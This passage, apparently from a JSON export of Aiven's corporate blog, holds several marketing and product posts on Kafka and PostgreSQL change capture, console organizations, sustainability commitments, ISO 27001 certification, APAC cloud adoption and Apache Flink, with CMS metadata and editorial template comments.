decoding __allows PostgreSQL to keep track of all changes within the database__ and decodes WAL to a desired output format.\n\nBUT, there are some things that it can't do, such as replicate DDL. It also doesn’t handle failovers exceptionally well because the replication slots exist only on master nodes.\n\n#### So where does Debezium come in?\nSimple, it uses logical replication to replicate a stream of changes to a Kafka topic. Its primary benefit is that it turns what was once a batch process into a streaming one, allowing users to get data in real-time.\n\nAs great as it is, there is a _gotcha or two_ like logical decoding. For example, it has limited data type support and if a PostgreSQL master failover occurs, the PG replication slot disappears; forcing users to recreate state.\n\n## Wrapping up\n\nAs I hope you’ve seen, our last Kafka meetup was jam-packed with information on tools to manage and get even more out of Apache Kafka. It also provided fertile ground for participation from our 30+ attendees.\n\nIt’s been a busy spring, hence the delay in this post. Nonetheless, our next meetup is definitely in the works! Make sure you don’t miss out and join the [Helsinki Apache Kafka Meetup](https://www.meetup.com/Helsinki-Apache-Kafka-Meetup/) group to get notified when we schedule it.\n\nIn the meantime, you can review the slide decks from the presentations and [join the Aiven blog's RSS feed](https://aiven.io/blog/feed.xml) or follow us on [Twitter](https://twitter.com/aiven_io) to stay up-to-date with the latest Aiven Kafka updates.\n","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-e6a47ff7abdf0e44807ee37b756c4dfce251021b-1200x628-png","_type":"reference"}},"publishedAt":"2018-05-11T00:00:00.000Z","seo":{"metaDescription":"Aiven's fourth Kafka meetup was co-hosted at Zalando's Helsinki office. Find out what we discussed and get the slide decks in this latest article.","metaImage":{"alt":"","asset":{"_ref":"image-e6a47ff7abdf0e44807ee37b756c4dfce251021b-1200x628-png","_type":"reference"}},"metaTitle":"Zalando joins Aiven at latest Kafka meetup"},"slug":{"_type":"slug","current":"/blog/zalando-joins-aiven-at-latest-kafka-meetup"},"subtitle":"Aiven's fourth Kafka meetup was co-hosted at Zalando's Helsinki office. Find out what we discussed and get the slide decks in this latest article.","title":"Zalando joins Aiven at latest Kafka meetup"}
{"__i18n_lang":"en","_createdAt":"2023-02-06T11:22:07Z","_id":"70c50025-8a7e-47d1-9260-bc1cf116c176","_rev":"GEwcjZ4hpY0RnpIR7pYEMd","_type":"post","_updatedAt":"2023-06-22T13:29:40Z","authors":[{"_key":"b615c6e0d632","_ref":"495d15fb-d2b1-4a6b-a5af-44b62df3857a","_type":"reference"}],"body":"At the end of 2022, we updated the Aiven Console navigation to make it easier to quickly find and manage your accounts and projects. Building on top of this release, we are now excited to announce the upcoming release of the organizations and organizational units concepts later this month.\n\nPreviously, the term ‘account’ was used in the Aiven Console to group projects together. Very soon, organizations will replace accounts and allow you to globally manage and scale your setup on the Aiven platform. Organizations can be flexibly consolidated into one structure using organizational units to mirror your own organizational hierarchy. \n\nThis change will make your life easier:\n\n- You can separate your production and testing projects to manage your environments more efficiently. \n- You can configure e.g. authentication methods and billing only once - it’s fully set-and-forget.\n- Centralized administration means your projects are easier to manage.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/fa0e09d8abea81326ada6c884a2a1e92de5f0281-5000x2618.png?w=450)\n\nYour existing accounts will automatically become organizations. You don’t have to do anything. \n\nThis change is fully backwards compatible. All existing API endpoints and Terraform state files will continue to work.\n## What are organizations and organizational units?\n### Organizations\n\nAn organization is the central entity that lets you manage settings more easily. These include: \n\n- authentication methods\n- billing groups\n- users\n- teams \n\nFurthermore, an organization defines the context you are working in. This means that when you select an organization, you can only view and create projects within that organization.\n\nWe'll be adding new functionality to organizations that will further streamline how you manage your Aiven projects and services. We’ll get to that in a minute.\n\n### Organizational units (Beta)\n\nOrganizational units allow you to further refine the hierarchy of your projects and services. This hierarchical structure gives you greater flexibility to organize your account structure to fit your needs.\n\nFor example, you can now easily split production and testing workloads into different organizational units that are in the same Aiven organization. You can also create separate units for different departments, limiting access as needed to only those who need it.\n## More upcoming changes\n### User groups\nUp next, we will roll out user groups (replacing “teams”) that will be shared across the entire organization. This means that you will only need to set up the users and their roles for each group once.\n\nYou’ll be able to use user groups to gain access to users at the organizational unit or project level. \n### Domains\nWith the introduction of domains, you’ll be able to claim a domain name for your organization. Domains will make it easier to control access to your organization in Aiven: access is granted based on a valid e-mail address belonging to the domain.\n\nBy claiming a domain name, all users who belong to the domain will be managed users. \n### Managed users\nThe introduction of user groups and domains will pave the way for managed users. This feature will make it possible to centrally manage all users who belong to your domains and therefore your organization. It’ll be easier to add them to existing groups or create new groups without needing to invite each person individually.\n\nYou’ll also be able to define a set of default permissions for new users when they sign up with your organization. \n\nAnd finally, you’ll have full control over the user lifecycle. You can modify their details, reset their passwords, or even deactivate the user.\n\n### Syncing users and user groups\n\nWe’re also adding support to automate the user and user group lifecycle via your preferred identity provider. You’ll be able to onboard and offboard users automatically via SCIM. \n\n## Wrapping up\nBy mirroring your organizational hierarchy, the concept of organizations and the updates that are following will make it easier to manage your infrastructure at Aiven. You'll get better control and clarity into how your setup is put together.\n\n\n\n\u003c!--\nDuplicate this post by clicking the drop-down menu in the bottom right corner, and selecting **Duplicate**\n\nSet the post date\nInsert the hero image (set it up in https://sanity.avnsmarketingtest.net/media)\nDefine the author\nAdd relevant categories\nAdd keywords as recommended by SEO agency\nWrite the post\n\nAdd a wrapping up section and a strong CTA.\nKeep the \"Next steps\" section as a \"footer\". Remember to add links to the relevant product pages.\n--\u003e\n\n\n\n\u003c!-- copypasta:\n\n®\n™\n– en-dash\n— em-dash\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\ntext links: [body / link text](target URL)\n\nCode snippets: `written like this`\n\n\u003e **Note:** If you want to write a highlighted note thingy, it's like this.\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n\n--\u003e\n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Sign up for a free trial now\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e","categories":[{"_key":"661a90060530","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-19b279179b65094800bf01c344af2f12b5b72036-1567x844-png","_type":"reference"}},"publishedAt":"2023-02-06T11:33:26.349Z","related":[],"slug":{"_type":"slug","current":"/blog/introducing-organizations-and-units-in-aiven"},"subtitle":"Things are about to change in the Aiven Console: we're moving from \"accounts\" to \"organizations\". Find out more about what it means!","title":"Introducing organizations and units in Aiven"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"70Tx3E8y7y9dUZN8Xkmn9v","_rev":"RAyRTsSFAoDoj6Nvfq2Jch","_type":"post","_updatedAt":"2022-11-25T08:56:57Z","authors":[{"_key":"1Ez1IymDDjhKg9pEyvssrK","_ref":"1Ez1IymDDjhKg9pEyvssrK","_type":"reference"}],"body":"Aiven has always been an outspoken proponent of open cloud infrastructure. We have built our  platform to be open and accessible, straightforward and easy to use, flexible and universal — an offering that embodies the values that are close to our heart, values that we have consistently promoted as we have grown in the past few years. And as the Aiven platform is based on open source software, it is also important for us to contribute and give back to the communities that we depend on.\n\nOur mission is to make developers’ lives better, and let them build what matters most. For us, developer experience is not an afterthought. It’s an integral part of who we are and what we value.\n\n\u003e “We started Aiven to build something we would have loved to use ourselves. We wanted to make a service that allows developers to worry less and get more stuff done.” - Oskari Saarenmaa, CEO\n\nEfficient storage and movement of data is crucial for modern life. Without data, websites would be empty and apps would not exist. Progress would grind to a halt. This makes access to and control of data an issue of equality and equity. The data technologies on the Aiven platform are universally applicable and open by default, but still not accessible for everyone, as using them requires a specific set of skills and resources. Aiven wants to lower the threshold for people to use these technologies to build the applications of tomorrow — and to do this as sustainably as possible.\n\nThis statement outlines our vision of the sustainable open source data cloud we want to advocate for that powers our digital ecosystem.\n\n## 1. Clean and efficient data infrastructure\n\nWe are witnessing unprecedented climate change, where cloud services have the potential to be both a part of the problem and a part of the solution.\n\nCloud energy consumption is increasing as applications become more and more data-intensive. However, cloud platforms are by default more energy efficient than private data centers, and a meaningful part of cloud consumption goes into replacing these less efficient methods. Despite great improvements in decarbonisation by hyperscalers and other key stakeholders, there is more we can do to make energy consumption in the technology sector more environmentally sound. This involves both changing the energy mix and controlling the overall consumption of energy.\n\n__Our goal is to map our own environmental footprint, give our customers visibility into their energy mix and their emissions related to their use of Aiven services, and eventually provide them with means to decrease their environmental footprint.__\n\n## 2. Democratized access to technologies\n\nWe believe that great things come from more people having access to technology.\n\nWe have built a business that has open source software at its heart. The very nature of open source is to have the software available for anyone to use and collaboratively develop.\n\nIn reality, a collaborative approach does not always materialize in an ideal way. Many vital pieces of software start as small ventures by individual developers, and later snowball into substantial projects. Companies begin to rely on them, but often either don’t contribute back to them, or start to restrict access.\n\n\u003e “If we want open source projects to stay around, any company using open source projects should dedicate some substantial time contributing back to them.” - Josep Prat, Open Source Engineering Manager\n\nWe are committed to the core open source values and do our best to promote the health of the communities around the open source projects that are near and dear to us.\n\nWhile building our platform, we have learned the hard way that building applications with best-of-breed technologies is not a trivial undertaking. We have benefited from the support of others, from learning to code as part of different open source communities to being able to scale our business early on with the help of programs like [DigitalOcean Hatch](https://www.digitalocean.com/hatch) and [AWS Activate](https://aws.amazon.com/local/nordics/startups/).\n\nNow it’s our time to give back and contribute to the development of the future — not just in terms of [supporting startups](https://aiven.io/cluster), but by enabling an even wider range of people with impactful ideas to turn them into reality with the help of the open source cloud.\n\n__Our goal is to lower the barriers of access to new technologies and new ways of utilizing data, so that more people can contribute to the development of our society and economy.__\n\n## 3. Diversity and inclusion in tech\n\nIt is no secret that the tech industry has struggled to build diverse and inclusive workplaces. The industry has the opportunity to do better, and so do we. At Aiven, we have a journey ahead of us, and we are committed to taking that journey towards being a more diverse and inclusive company. In addition, it is our responsibility to create excitement for tech as early as possible.\n\nWe believe in open source because we think that companies have a responsibility to contribute to the tech they design and use. We want our culture to reflect the same thinking: it is our responsibility to make Aiven accessible and open to everyone.\n\nWe are committed to making sure that candidates from underrepresented groups find us and we find them, and we will do our utmost to remove roadblocks to inclusion to retain more diverse talent. For Aiven, this commitment means building a community where people can be their authentic selves, thrive based on capability, and work in a safe environment.\n\n__Diversity of thought is what creates growth. Without inclusion, the power of diversity remains untapped. We want Aiven to be a place of openness, ownership, and courage for all.__\n\n-----\n\nAs a company, our vision at Aiven is to empower everyone with the best data technology. We want to enable both the internal and the larger Aiven community to  build what matters using a more sustainable open source cloud. We want to play a part in building a world where technology is developed by everyone, _for_ everyone, with the good of the people and our environment in mind.\n\nWe have already taken concrete steps towards this vision in the past years, but we’re still at the beginning of our journey. Like many things at a high-growth company, this, too, is an iterative process. From now on, we will be providing our community with monthly progress updates on our sustainability and social impact program. To stay in the loop, please [subscribe to our newsletter](https://aiven.io/newsletter).\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"},{"_key":"3cec3f64f68c","_ref":"5kZZK0B9b8ouIUDgjaDOmZ","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-b2a8ae8dc513fe38a559913d3d03a3b56323e914-1567x844-jpg","_type":"reference"}},"publishedAt":"2022-05-11T00:00:00.000Z","related":[{"_key":"e48f037e6931","_ref":"258bc7bc-786c-445f-83e5-87502edbfef1","_type":"reference"},{"_key":"34f07cb67f3f","_ref":"1WyAWQ2EwNucHT85SFMK5S","_type":"reference"}],"seo":{"metaDescription":"Aiven will contribute to stopping climate change and increasing equal access to technology. Read our commitment to find out how.","metaImage":{"alt":"","asset":{"_ref":"image-b2a8ae8dc513fe38a559913d3d03a3b56323e914-1567x844-jpg","_type":"reference"}},"metaTitle":"Aiven Sustainability and Social Impact Commitment"},"slug":{"_type":"slug","current":"/blog/sustainability-and-social-impact-commitment"},"subtitle":"Aiven will contribute to stopping climate change and increasing equal access to technology. Read our commitment to find out how.","title":"Aiven Sustainability and Social Impact Commitment"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"48JMSFTvw9jBqbEE7sv4Ct","_rev":"AgVn9c2bYty4stE1QrDAd6","_type":"post","_updatedAt":"2022-11-09T10:11:49Z","authors":[{"_key":"7Hxte8tqh1KGbCYCQOPHsP","_ref":"7Hxte8tqh1KGbCYCQOPHsP","_type":"reference"}],"body":"## What is Slush?\n\n[Slush](https://www.slush.org/events/helsinki/) is the world’s leading startup event. Hosted in Helsinki, Finland every November, the event has 25,000+ attendees and facilitates meetings between the world’s most promising startups and venture capitalists. With matchmaking and pitching competitions, Slush has built an exciting community of the most innovative minds in tech.\n\nSlush has also built an education program - Slush Academy, which aims to accelerate the learning process for young entrepreneurs with mentorship from experienced founders through a 3-month summer program. The Slush event in Helsinki as well as the Slush Academy program have been put on hold in 2020 due to COVID-19, so the company has since focused on research.\n\n## Entrepreneurship Redefined\n\nMost recently, Slush has published research on startups, investors, and the state of tech. Their most recent publication is called ‘Entrepreneurship Redefined’. In the 97 page publication, Slush presents data collected from 3,500 companies, 2,000 investors, and 10,000 event attendees, including data on 10,000 pre-booked meetings during past Slush events.\n\nIn addition to this data, Slush has conducted 60 anonymous interviews with some of the most influential founders, investors, and operators in tech, and pulled in 5,000 survey responses collected for their ‘State of European Tech’ publication in 2019.\n\nThe result is a compelling look at modern entrepreneurship, including a look into the near future with predictions for the 2020s. Diversity and inclusivity, purpose-driven change, and revolutionary innovation are the key narratives - and these, according to their findings, will dominate the decade. At Aiven, we tend to agree with them.\n\n## Aiven’s support for forward-thinking research\n\nWe’re working towards a new age of entrepreneurship alongside Slush and other innovative companies across the world. The core message of this research is that success stems from diversity, purpose-driven change, and revolutionary innovation. Starting a conversation about the shortfalls of the startup ecosystem is the first step in driving change for the better.\n\nAiven will be at the forefront of these discussions throughout this new decade, and we hope that entrepreneurs, academic researchers, government officials and creatives will work together to generate the revolutionary innovation that humankind desperately needs.\n\nDownload the full PDF version of ‘Entrepreneurship Redefined’ [here.](https://www.slush.org/entrepreneurship-redefined/)\n","categories":[],"mainImage":{"alt":"","asset":{"_ref":"image-32f01e608b96ea803f296b09ca49a10951317a9e-752x405-png","_type":"reference"}},"publishedAt":"2020-06-17T00:00:00.000Z","seo":{"metaDescription":"Together with Slush, we set out to see what the future holds for the startup community.","metaImage":{"alt":"","asset":{"_ref":"image-32f01e608b96ea803f296b09ca49a10951317a9e-752x405-png","_type":"reference"}},"metaTitle":"Aiven joins forces with Slush to define the future of entrepreneurship"},"slug":{"_type":"slug","current":"/blog/aiven-joins-forces-with-slush"},"subtitle":"Together with Slush, we set out to see what the future holds for the startup community.","title":"Aiven joins forces with Slush to define the future of entrepreneurship"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"2vn5b8l7Fb2xZV3ZcqIr2B","_rev":"v0cQAWzuhXdzXIalMlJWhC","_type":"post","_updatedAt":"2023-06-08T12:12:48Z","authors":[{"_key":"2CAEpbT3LuYkmPFk5o0m1L","_ref":"2CAEpbT3LuYkmPFk5o0m1L","_type":"reference"}],"body":"Aiven is committed to providing all of our services with the highest level of information security. As a testament to that promise, we’re proud to announce that our Information Security Management System is now ISO/IEC 27001:2013 certified!\n\nIf you'd like to have a look at the certificate, please go to our [Security page](https://aiven.io/security-compliance \"Security \u0026 Compliance at Aiven\").\n\nAs per standard, we have implemented and operate an Information Security Management System (ISMS) that drives and mandates us to:\n\n* Systematically and continuously evaluate Information Security risks, considering impact and likelihood of the threats and vulnerabilities,\n* design, implement and operate a comprehensive set of information security controls to address security risks, and\n* have a management process in place to review and assess the performance and the suitability of the Information Security Management System on an ongoing basis.\n\nNow that you have a high-level view of our ISMS and how it pertains to ISO/IEC 27001, let’s briefly cover what ISO and its ISO/IEC 27001:2013 security standard are, and why we underwent certification.\n\n## What’s ISO and ISO/IEC 27001:2013?\n\nThe International Organization for Standardization (ISO) is an independent, non-governmental organization that,\n\n\u003e ...develops voluntary, consensus-based and market relevant International Standards...to ensure quality, safety and efficiency.\n\nMeanwhile, __ISO/IEC 27001:2013__ is its information security standard providing requirements for implementing and maintaining an Information Security Management System (ISMS). It requires a systematic and continuous risk management process that ensures the confidentiality, integrity and availability of information.\n\nIf you meet the requirements, you are able to undergo a certification audit by an independent, accredited certification body. The audit is rigorous, involving,\n\n1. Documentation, policies and processes review,\n2. Verification of evidence and records, and \n3. Personnel interviews.\n\nBut, it doesn’t end with certification. Once certified, you are subject to a three year cycle comprised of two annual surveillance audits and a recertification audit on year three to ensure continued compliance.\n\n## Why did we undergo ISO27001 certification?\n\nAlthough our founders’ backgrounds are in information security, we are acutely aware of customer concerns over the security of their sensitive information—especially when evaluating whether or not to do business with an SME.\n\nCertifying, especially under ISO27001, was not only an opportunity for us to test our knowledge and procedures, but to give current and potential customers confidence that we are capable of providing thorough information security.\n\nNot to mention that the necessary steps to earn certification also help perpetuate a culture where information security is on the mind of everyone in our organization, no matter the role. And believe us, __we all care for your information security!__\n\n## Where is more information and what’s next?\n\nFeel free to check out the certificate on our [security and compliance page](https://aiven.io/security-compliance#security-compliance). As for what’s next, we will continue to uphold our end when managing and protecting your data; with or without certificates.\n\nWe will continue to pursue additional certifications to further demonstrate our capabilities and commitment to information security. \n\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"2mBcgNf20QQ0rW0XtSjzVs","_ref":"2mBcgNf20QQ0rW0XtSjzVs","_type":"reference"},{"_key":"1nf4L7bvQOLXPjLRjAxmDO","_ref":"1nf4L7bvQOLXPjLRjAxmDO","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-083e93a0109c512d273eee1431936d18f4641f0c-752x405-png","_type":"reference"}},"publishedAt":"2018-06-04T00:00:00.000Z","seo":{"metaDescription":"Aiven is now among the very few DBaaS providers to hold the ISO 27001 certification. Find out the what, how, and why.","metaImage":{"alt":"","asset":{"_ref":"image-083e93a0109c512d273eee1431936d18f4641f0c-752x405-png","_type":"reference"}},"metaTitle":"Aiven earns ISO 27001 certification"},"slug":{"_type":"slug","current":"/blog/aiven-earns-iso-27001-certification"},"subtitle":"Aiven is now among the very few DBaaS providers to hold the ISO 27001 certification. Find out the what, how, and why.","title":"Aiven earns ISO 27001 certification"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"3XqXps9Ko6fze8fxbK6QI7","_rev":"v0cQAWzuhXdzXIalMlJXQm","_type":"post","_updatedAt":"2023-06-21T08:31:38Z","authors":[],"body":"[During a recent webinar](https://www.youtube.com/watch?v=xxKtNXbuYwg \"Open source and cloud technology discussion with Traveloka and Gojek | Aiven Webinar\"), we talked with Rajesh Ajmera, Traveloka’s Head of Engineering, and Nitish Jha, Gojek’s Head of Engineering, about the state of cloud and open-source technology adoption in the APAC region (Asia-Pacific).\n\nThis past year, businesses in the APAC region have seen first-hand how cloud and open-source technologies help their businesses thrive. But integrating such technology isn’t easy – there’s a lot to consider if you want everything to go smoothly. Rajesh and Nitish give expert advice on how businesses can harness the power of cloud and open-source technologies to scale smartly, and how to do it so that it fits unique business demands.\n\nOf course APAC (along with the rest of the globe) wants to maximize the benefits of cloud tech. The question is - how? No one wants to be blindsided by unexpected costs and security issues. Not to mention the tribulations of redesigning and migrating systems, and retraining employees.\n\nIt all boils down to this: APAC companies need cloud providers that don’t just provide the tech and innovation, but can also help them with implementation and managed services.\n\n## How open-source and the cloud support APAC businesses in 2021\n“Things are changing, always,” Rajesh Ajmera said. “And the open-source and cloud technologies were very much the catalyst for this.” Here are some of the dynamic ways cloud technologies support APAC companies:\n\n- Gathering business and marketing insights from data\n- Creating immersive experiences for consumers\n- Automating customer service\n\nHere’s a quick snapshot of how it’s going so far:\n\n- [APAC enterprises are expected to increase spending on public cloud services](https://www.computerweekly.com/news/252497641/APAC-cloud-spending-up-by-over-38-in-2020 \"Computerweekly.com | APAC cloud spending up by over 38% in 2020\") by a total of 38% by the end of 2021. The APAC region has largely embraced the benefits of cloud tech and is looking for ways to expand on it and use it more efficiently.\n- [Australia ($5.2 billion) and India ($3.5 billion) will be in second and third place](https://www.idc.com/ 1 \"IDC: Public Cloud Services Spending in Asia/Pacific to Reach US$ 48.4 Billion by 2021\") respectively in terms of cloud spending in the region. This is driven by fast adoption across enterprises, and the presence of major global cloud providers in the region.\n- Based on the increasing demand for custom solutions and the focus on controlling cloud costs, Rajesh predicted that in the next 1-2 years, 80-90% of enterprises would offer mixed bag solutions. \n\nBut with new innovations come new challenges. Let’s take a look at these to further understand how to roll forward.\n\n## Key challenges for APAC businesses - and what cloud providers can do\nAPAC businesses already understand that cloud and open-source tech is necessary to bring their business forward. The next step is to find out how to use it in mindful and cost-effective ways.\n### #1 Too many options leads to choice paralysis\nWith continuous innovations and increasing functionalities, businesses are getting swept up by all the possibilities that cloud tech brings. But what companies really need now is focus and clarity. They need to know which features and capabilities really matter for their businesses and how to implement them.\n### #2 Cloud costs can get expensive fast\nWithout a strategy in place, companies run the risk of mismanaging their cloud resources. Leaving a simulation on overnight, for example, can rack up a huge cloud bill. Companies need an easy, transparent way to understand how the cost of their cloud tech accrues, and how to match that up with its benefits.\n### #3 Cloud providers need to offer custom and strategic solutions\nAccording to Rajesh, “Cloud data management isn’t about one specific platform or infrastructure anymore. It’s about choosing the solutions for the job at hand. Businesses are starting to take advantage of solutions that give them very industry-specific offerings.” \n\nCloud providers can no longer compete based only on who can innovate or release features the fastest. To be valuable to businesses, they also need to provide:\n\n- Business development strategy - expert knowledge into how the tech solves real-world problems\n- Migration and implementation guidance - making sure the tech and the business are compatible, which means including a concise blueprint and the right skillset to get the job done\n- Cost-effective use cases \n- Custom and industry-specific solutions that match individual business needs\n\n## How APAC businesses can prepare for digital transformation\nWith any big change, preparation is key. Here’s how you can ensure your business and team are more than ready.\n### Step 1: Assess your company’s readiness for the change\nExecuting a readiness assessment helps you plan and identify the right products for you by:\n\n- Helping your teams rethink their security and governance strategies. For instance, planning for any potential breaches, failures, or disaster recoveries.\n- Developing more secure systems and increased security standards.\n- Helping all stakeholders understand the roles and responsibilities connected to cloud technologies.\n\nWhen it comes to cultural readiness, Nitish had the following thoughts: “In terms of preparedness, cultural readiness is an important prerequisite. Outline the roles, responsibilities, and expectations for the team. Appreciate that this is going to be a challenge.”\n### Step 2: Train your people\nFind or hire an internal team with the right cloud development and operations knowledge, experience, and skillset to make the most out of this change. At the executive level, ensure that finance, marketing, and business development teams are on the same page.\n### Step 3: Choose a hybrid solution\nNo matter what stage of digital transformation they are in, businesses always need to consider the “how” behind scalability. That’s where hybrid solutions provide a major advantage. \n\nHybrid clouds integrate [public cloud resources](https://aiven.io/blog/public-v-private-clouds-whats-the-difference \"Aiven blog: Public v. private clouds - what’s the difference?\") with your existing infrastructure, opening doors for new business capabilities while simultaneously reducing costs. So if you’re looking to take your business to a new level, think hybrid.\n### Step 4: Develop a plan for scaling\nGet your teams together to develop a cost plan and a precise roadmap. Set limits for how the cloud tech will work for your business: define what the cloud is good for and which parts of your business will benefit from it.\n### Step 5: Keep track of costs\n[Companies often either underuse what they’ve paid for, or underestimate the budget](https://www.accenture.com/nl-en/blogs/insights/cloud-trends \"Accenture | 25 cloud trends for 2021 and beyond\") they need. Make sure you choose a provider with flexible options, consistently review your budget vs. actual use, and develop a strong implementation strategy within your team.\n## Managed services are a better choice than DIY\nGoing with a managed service eases the pain of migrating to the cloud. Having expert guidance from cloud providers saves you time, resources, and stress. For example:\n\n- You're not responsible for complex installation processes\n- It’s much easier to integrate everything\n- Less in-house resources are required\n\nNitish Jha gave this advice to determine which route is best: \n\n“What I recommend is doing a total cost of ownership evaluation rather than just an investment evaluation. A lot of this adds up. So yes, there is a financial cost [to managed services], but [in DIY] there are also staff costs, operational costs, invisible opportunity costs as well, which have to be brought into the mix for an organization to evaluate the actual investment.”\n\nThe final step? Find a cloud provider that understands and aligns with your specific needs. You don’t just want a cloud provider, you want a trusted partner during this transition.\n## Cloud providers have a new role: strategic partners\nBusiness needs evolve as fast as cloud providers innovate and deliver new solutions. \n\nWe’ve seen demands change from “more features and functionalities” to “more strategic guidance and tech implementation”. Cloud providers must adapt to a new role if we want to stay useful and relevant.\n\nAs our guests Rajesh and Nitish have shown us, businesses now need:\n\n- Top-of-the-line security\n- Great cost-efficiency\n- Confidence to wield cloud tech to grow their business\n\nThis is why Aiven has developed a service to help you improve your systems and processes so you can scale in the most efficient manner.\n\nThere’s no “one-size-fits-all” solution for your business. [But take a look at real benefits that we offer, and together we can figure out what’s right for you.](https://aiven.io/solutions \"Aiven solutions\")\n## Wrapping up\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"55hnoBwSNkFBrvJaZvuhgt","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-e01b86b7a8ebfae072ac8da967d16023c24b0a98-1567x844-png","_type":"reference"}},"publishedAt":"2021-08-23T00:00:00.000Z","seo":{"metaDescription":"Rajesh Ajmera from Traveloka and Nitish Jha from Gojek talk about harnessing the power of cloud and open-source technologies to meet business goals in APAC.","metaImage":{"alt":"","asset":{"_ref":"image-e01b86b7a8ebfae072ac8da967d16023c24b0a98-1567x844-png","_type":"reference"}},"metaTitle":"Cloud and open source technology help APAC businesses thrive"},"slug":{"_type":"slug","current":"/blog/how-cloud-and-open-source-technology-help-apac-businesses-thrive"},"subtitle":"Rajesh Ajmera from Traveloka and Nitish Jha from Gojek talk about harnessing the power of cloud and open-source technologies to meet business goals in APAC.","title":"Cloud and open source technology help APAC businesses thrive"}
{"__i18n_lang":"en","_createdAt":"2023-01-13T11:44:14Z","_id":"178690c7-abca-455a-b22a-4db81e216219","_rev":"zGsPSGo9JGPfNa4sHqz3HW","_type":"post","_updatedAt":"2023-03-02T10:18:46Z","authors":[{"_key":"a3b6f45af968","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"},{"_key":"8820059e7b41","_ref":"055b2496-c6da-421a-b3da-8c25cdc90fc0","_type":"reference"}],"body":"At the center of every company are two things: data and transformation pipelines. Aggregations, filtering, masking ... so many things are needed to change raw input into useful data assets.\n[Aiven for Apache Flink®](https://aiven.io/flink) fulfils the need by providing a SQL interface to define streaming and batch data transformation pipelines on top of data hosted in a variety of technologies like Apache Kafka®, PostgreSQL® or OpenSearch®. \n\nA lot has happened since the first beta release of Aiven for Apache Flink. Our fully-managed service for Apache Flink is now in general availability and we've learned a lot about how Flink is used, as well as about stability and lifecycle management!\n\nWe sat down with [Filip Yonov, Director of Product Management](https://www.linkedin.com/in/filipyonov/) for data streaming services at Aiven, to discuss the journey and where Aiven for Apache Flink is heading next.\n\n## From the origins to today, the story of Aiven for Apache Flink\n\nAiven doesn't just provide data pipelines; we're a data company, too, and we adopt open source technologies for internal purposes. When we've collected enough experience and trust in the tooling, we have the option of packaging and exposing them as a service for our clients, who can then benefit from the functionality without the management hassle. This started with PostgreSQL, which first solved our database needs and next became one of our most widespread data solutions. The process has been repeated since, with for example Apache Kafka, which we use to serve data across technologies in streaming mode.\n\nWhen facing the need of data transformation, we looked for tools that could unify the pipeline definition across technologies. We needed our Apache Kafka to be manipulated in near-real time to provide timely analytics and notifications, using data coming from our PostgreSQL database for enrichment. Apache Flink was seen as a clear leader in this space since it can define pipelines across a wide range of backend technologies. Even more, the comprehensive set of [SQL features](https://nightlies.apache.org/flink/flink-docs-master/docs/dev/table/functions/systemfunctions/), the [resilient and scalable architecture](https://flink.apache.org/flink-architecture.html), and the unique and supportive community backing the project make Apache Flink a solid choice for critical production workloads.\n\nSince the first release of the Aiven for Apache Flink beta, we've benefited from valuable feedback from customers and internal stakeholders to improve the service and its developer experience. In the following paragraphs we dive deeper into the recent improvements.\n\n## An abstraction layer on top of Apache Flink SQL\n\nThe first Aiven for Apache Flink product provided a direct mapping to the Apache Flink SQL client: you were able to define tables (sources and sinks of data) and jobs (transformation pipelines). However, while this reflects the journey in the SQL client, it creates a technical misunderstanding when the structure definitions evolve over time.\n\nA running Apache Flink job contains both source, sink and transformation SQL defined at the time of deployment. If a source or target table definition changes afterwards, the job doesn't pick up the update until it is stopped and restarted. This little difference meant that the metadata definition stored in the first version of Aiven for Apache Flink could be out of sync with what was executed on the cluster, generating confusion or even errors when jobs were restarted.\n\nWe fixed the issue by adding the definition of an **Application**: a layer of abstraction that includes \n\n- Source and sink table definitions\n- SQL transformation definitions\n- Deployment 